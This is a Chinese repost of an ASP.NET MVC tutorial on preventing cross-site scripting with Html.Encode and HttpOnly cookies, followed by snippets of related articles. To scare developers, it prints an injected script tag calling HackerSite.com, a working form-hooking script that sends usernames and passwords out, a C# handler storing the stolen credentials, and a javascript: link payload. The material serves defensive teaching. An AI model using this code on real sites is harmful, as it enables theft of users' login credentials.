转:
http://www.dwww.cn/News/2008-7/20087131938347687.shtml
摘要:在这个Tip中,你将了解到JavaScript注入攻击可能会比你想象的更加严重。Stephen Walther展示了如何使用JavaScript注入攻击来在一个ASP.NET MVC站点上干些大大的坏事,并解释了如何通过一种简单的方式来防止这种攻击。
当你从站点的浏览者那里收集表单数据,并将表单数据展示给其他浏览者时,你应该对表单数据进行编码。否则,你的站点大门将为JavaScript注入攻击打开。
例如,如果你创建了一个论坛,在将消息显示到Web页面之前,请确保对其进行了编码。如果你没有对消息进行编码,某些人可能会发表一个带JavaScript的消息,做一件大大的坏事。
在这个Tip中,我将强调黑客可以利用JavaScript注入攻击做非常严重的事情。让我惊奇的是,关心防止JavaScript注入攻击的Web开发者少之又少。这里的问题在于很多开发者并没有完全意识到这其中的危险。他们认为使用JavaScript注入攻击最坏的情况也就是破坏页面结构。在这个Tip中,我将向你展示黑客如何利用JavaScript注入攻击来盗取网站用户的用户名和密码。本文的要点是通过恐吓来教会你做正确的事情。
据Wikipedia称,JavaScript注入攻击已经“超越缓冲区溢出,成为最常见的公共安全弱点。”更恐怖的是,据Wikipedia称,70%的网站向JavaScript注入攻击敞开着(http://en.wikipedia.org/wiki/Cross-site_scripting)。因此,本文读者,你们当中的70%正在犯懒并危害着你们网站的用户。羞羞!
如何通过JavaScript盗取另一个用户的密码
这里介绍一下黑客如何利用JavaScript注入攻击做大大的坏事。假设你建立了一个Customer Survey应用程序,使用的是ASP.NET MVC。
Customer Survey应用程序是一个超级简单的应用程序。用户通过在一个表单中填写内容,可以对一个产品进行反馈。客户可以查看之前所有客户留下的反馈。
图1展示了反馈表单。
图1 - 反馈表单
注意反馈表单页面的顶部还包含了一个登录表单。Customer Survey应用程序将登录表单放到了母版页中(Web站点的常见场景)。
由于反馈表单显示了其它客户留下的反馈,该页面将对JavaScript注入攻击敞开大门。那些心怀恶意的黑客只需在反馈表单中敲入下面的代码:
<script src=http://HackerSite.com/EvilScript.js></script>
当该文本重新显示在反馈表单页中时,<script>标签会调用一个位于黑客的站点上的JavaScript脚本。该脚本如清单1所示。
清单1 - EvilScript.js
if (window.attachEvent)
document.forms[0].attachEvent('onsubmit', fn);
function fn(e)
{
var userName = document.getElementById("userName").value;
var password = document.getElementById("password").value;
var d = new Date();
var url = "HackerSite/EvilHandler.ashx?userName=" + userName
+ "&password=" + password + "&d=" + d.valueOf();
var script = document.createElement("script");
script.type = 'text/javascript';
script.src = url;
document.body.appendChild( script );
}
清单1中的脚本将一个事件处理器附加到了登录表单的form submit事件上。当登录表单提交时,会执行fn() JavaScript函数。该函数截取了表单中的userName和password字段。接下来,该脚本向页面中动态注入了一个<script>标签,并将userName和password传递给一个名为EvilHandler.ashx的(可能是远程的)处理器。
EvilHandler的代码如清单2所示。EvilHandler简单地从查询字符串中拿到了用户名和密码,并存放在数据库中。
清单2 - EvilHandler.ashx
using System;
using System.Collections;
using System.Data;
using System.Linq;
using System.Web;
using System.Web.Services;
using System.Web.Services.Protocols;
using System.Xml.Linq;
namespace CustomerSurvey.HackerSite
{
[WebService(Namespace = "http://tempuri.org/")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
public class EvilHandler : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
// Get user name and password from URL
string userName = context.Request.QueryString["userName"];
string password = context.Request.QueryString["password"];
// Store in database
HackerDataContext db = new HackerDataContext();
StolenPassword pwd = new StolenPassword();
pwd.userName = userName;
pwd.password = password;
db.StolenPasswords.InsertOnSubmit(pwd);
db.SubmitChanges();
}
public bool IsReusable
{
get
{
return false;
}
}
}
}
假设这个Customer Feedback表单出现在一个银行网站中。在这种情况下,黑客现在就能访问任何人的帐户信息了,并能把任何人的钱转到位于开曼群岛的帐户中。很不错,才需要这么几行代码。
ASP.NET MVC不支持请求验证
这种危险在ASP.NET MVC应用程序中更为敏感一些。在ASP.NET Web Forms应用程序中——和ASP.NET MVC不同——你可以依赖一项称作请求验证(Request Validation)的特性。如果从一个页面提交的表单数据中含有看起来不安全的文字,请求验证就能检测到。如果你提交的表单数据中包含诸如尖括号这样的文本,就会导致异常的抛出。
要知道ASP.NET MVC并不适用请求验证。在ASP.NET MVC应用程序中,你必须完全由自己来防止JavaScript注入攻击。
防止JavaScript注入攻击
防止JavaScript注入攻击其实很简单。确保每当你在视图中显示从用户那里获取的表单数据时都调用了Html.Encode()即可。
例如,下面是Index视图中用于显示用户反馈的部分代码:
<h1>Customer Feedback</h1>
<ul>
<% foreach (Survey survey in ViewData.Model)
{ %>
<li>
<%= survey.EntryDate.ToShortDateString() %>
—
<%= survey.Feedback %>
</li>
<% } %>
</ul>
该代码包含一个循环,遍历了Suvey实体。为每个Survey实体显示了Feedback和EntryDate属性。
为了防止JavaScript注入攻击,你需要使用Html.Encode()辅助方法。下面是循环代码的正确编写方式:
<h1>Customer Feedback</h1>
<ul>
<% foreach (Survey survey in ViewData.Model)
{ %>
<li>
<%= survey.EntryDate.ToShortDateString() %>
—
<%= Html.Encode(survey.Feedback) %>
</li>
<% } %>
</ul>
哪些内容需要编码
注意在前面的代码中,我并没有对EntryDate属性进行编码。在向页面显示EntryDate属性时无需进行编码的原因有二。
首先,EntryDate并不是由网站的访问者输入的。EntryDate属性的值是由代码生成的。黑客无法在这里注入危险代码。
假设的确是由访问者来输入EntryDate属性。由于EntryDate在SQL Server数据库中是作为DateTime类型存放的,黑客也不可能向其中注入恶意代码。因此,你无须担心是否需要对该属性进行编码。
通常,任何时候你在接受用户输入的文本内容时都要注意JavaScript注入攻击。例如,要小心地显示用户名。如果你允许用户创建属于他们自己的用户名,则用户可能偷偷地将一个恶意JavaScript字符串放在他们的用户名中(或一个指向sex图片的img标签)。
另外,小心超链接。很多blog应用程序允许匿名用户在发表评论时填写他们的网站链接。黑客可能会向链接中嵌入而已JavaScript。下面是一个简单的例子:
<a href="javascript:alert('Something Evil!')">Mr. Hacker</a>
当你单击该链接时,JavaScript就会执行。在这种情况下,没有什么恶劣的事发生。但是,你可能执行的是窃取表单数据或cookies数据的代码。
验证、会话状态和HttpOnly Cookies
你可以利用JavaScript注入攻击来窃取Cookies。例如,你将用户的信用卡号存放在一个Cookies中,然后你可以向页面中注入JavaScript,使用document.cookie DOM属性来截取信用卡号。
ASP.NET Forms Authentication和ASP.NET Session State都使用Cookie。Forms Authentication依赖于一个存放在名为.ASPXAUTH的Cookie中的验证票据(Ticket)。Session State使用一个名为ASP.NET_SessionId的Cookie。如果可以窃取这些Cookies,你就能模仿其他网站用户并且去用户的会话状态信息。
幸运的是,Microsoft对此采取了预防措施,使得很难窃取Forms Authentication和Session State Cookies。它们的Cookies都是HttpOnly Cookie。HttpOnly Cookie是一种特殊的Cookie,它不能通过客户端代码读取。你只能在Web服务器上读取HttpOnly Cookie。
Microsoft Internet Explorer、Firefox和Opera都支持HttpOnly Cookies。Safari和一些比较老的浏览器——很不幸——不支持。因此,你仍需要注意为所有用户输入数据进行HTML编码,以避免黑客盗取Forms Authentication和Session State Cookie。
小结
该Tip的目的是通过恐吓教会你做正确的事情。正如在简介中提到那样,JavaScript注入攻击是最常见的安全攻击类型。很多开发者并没有花费太多时间关心它。希望该Tip能够让你注意,每当在MVC视图中显示从用户那里收集来得数据时,都要进行编码。
你可以通过点击下面的链接来尝试本文讨论的代码。当你输入用户名和密码后,单击登录表单中的按钮,用户名和密码会出现在StolenPasswords数据库表中。
此处下载源代码:
http://weblogs.asp.net/blogs/stephenwalther/Downloads/Tip7/Tip7.zip
分享到:
相关推荐
在ASP.NET MVC中,为了防止跨站脚本(XSS)攻击,通常会使用HTML编码来确保输出的安全性。`语法是视图表达式,会自动对输出进行HTML编码。然而,当值来自HTML辅助方法(如`Html.TextBox()`或`Html.ActionLink()`)时...
在这个例子中,我们将探讨如何使用JavaScript库Mustache.js在ASP.NET MVC项目中实现客户端模板。 Mustache.js是一个无逻辑的模板语言,遵循“逻辑less”的原则,意味着它不包含任何内建的控制流或条件语句。它的...
《Gma.QrCodeNet.Encoding.Net35.dll与Gma.QrCodeNet.Encoding.Net45.dll:二维码编码库解析》 在信息化飞速发展的今天,二维码作为一种高效的信息载体,已经广泛应用在我们的生活中。无论是产品包装、广告宣传还是...
Asp.Net MVC 4 和 KnockoutJS 是两个在Web开发领域广泛应用的技术,它们结合使用能够构建出高效、动态且用户友好的Web应用。Asp.Net MVC 4 是Microsoft推出的一个强大的MVC(Model-View-Controller)框架,用于构建...
### ASP.NET中cookie读写方法介绍 在ASP.NET应用程序中,cookie是一种常用的数据存储机制,用于在客户端存储少量的信息。本文将详细介绍ASP.NET中cookie的读写方法,并通过实例演示如何实现这些操作。 #### 一、...
在ASP.NET开发中,生成二维码是一项常见的需求,用于存储和传递信息。ThoughtWorks.QRCode.dll是一个专门用于生成二维码的库,它为开发者提供了一种简单、高效的方式来创建二维码图像。下面将详细介绍如何使用这个库...
ASP.NET MVC是一个强大的框架,用于构建可维护的、高性能的Web应用程序。SignalR是ASP.NET平台下的一款实时通信库,它使得服务器与客户端之间能够进行实时双向通信,从而实现聊天应用、协作工具、股票更新等实时功能...
防止XSS攻击,开发者应启用ASP.NET的内置XSS防护,如HttpEncoder.HtmlEncode()函数进行输出编码;同时,对用户提交的内容进行过滤或转义。 三、跨站请求伪造(CSRF) CSRF攻击利用了浏览器的同源策略漏洞,诱使用户在...
### Asp.Net MVC2 分页实现详解 #### 一、背景介绍 Asp.Net MVC2 是一种基于模型-视图-控制器(Model-View-Controller, MVC)模式的Web应用程序框架,它允许开发者构建可扩展且易于维护的Web应用。在实际开发过程...
在本文中,我们将探讨如何在ASP.NET中防止跨站脚本攻击(XSS)和注入攻击,这两种攻击是网络安全中的常见威胁。 首先,跨站脚本攻击(Cross-Site Scripting,简称XSS)是指攻击者通过在网页中注入恶意脚本,从而...
ASP.NET MVC 记住用户登录信息下次直接登录功能 ASP.NET MVC 编程语言中,实现记住用户登录信息下次直接登录功能的原理是通过浏览器的 Cookie 来记住用户的登录信息。下面是实现该功能的代码详解: 一、创建 ...
Asp网站助手加解密工具(VBScript.Encode) V1.3.rar 能够编译一般的ASP加密程序,开源用
ASP(Active Server Pages)是一种微软开发的服务器端脚本环境,用于在Web服务器上创建动态交互式网页。VBScript(Visual Basic Script Edition)是ASP中常用的脚本语言之一,它是一种轻量级的解释型编程语言,常...
ASP.NET实现二维码(QRCode)的创建和读取实例 ASP.NET 编程语言中实现二维码(QRCode)的创建和读取是非常有用的技术,特别是在移动互联网时代。二维码可以存储大量数据,并且可以快速识读,广泛应用于各个领域。...
在ASP.NET中防止注入攻击是确保应用程序安全性的重要措施。注入攻击主要指恶意用户通过输入特殊字符或代码,绕过系统验证,执行非预期的操作。以下是对标题和描述中所述知识点的详细说明: 1. 输入验证:对所有用户...
根据提供的ASP.NET复习资料,我们可以总结出一系列与ASP.NET及编程基础相关的知识点: ### ASP.NET基础知识 #### 1. 数据类型与运算符 - **字符串连接运算符**:在Visual Basic中,`&`用于连接两个字符串。 - ...
5. **使用Minifier库**:ASP.NET社区有一些第三方库,如Microsoft.ASPNET.Core.MVC.Razor.RuntimeCompilation中的RazorViewEngineOptions,它可以自动对HTML、CSS和JavaScript进行压缩,包括去除空格和注释。...
根据给定的文件信息,我们将深入探讨MVC框架中的`HtmlHelper`类,这是一个在ASP.NET MVC中极为重要的工具,用于简化HTML元素的生成,并提供了一系列的辅助方法来增强Web应用的安全性和功能性。 ### `HtmlHelper`类...
2. **ASP.NET MVC的AntiForgeryToken**:在表单中添加反伪造令牌,防止CSRF(跨站请求伪造)攻击,这种攻击通常与XSS配合使用。 3. **ASP.NET Core的Content Security Policy(CSP)**:通过定义哪些源可以加载资源,...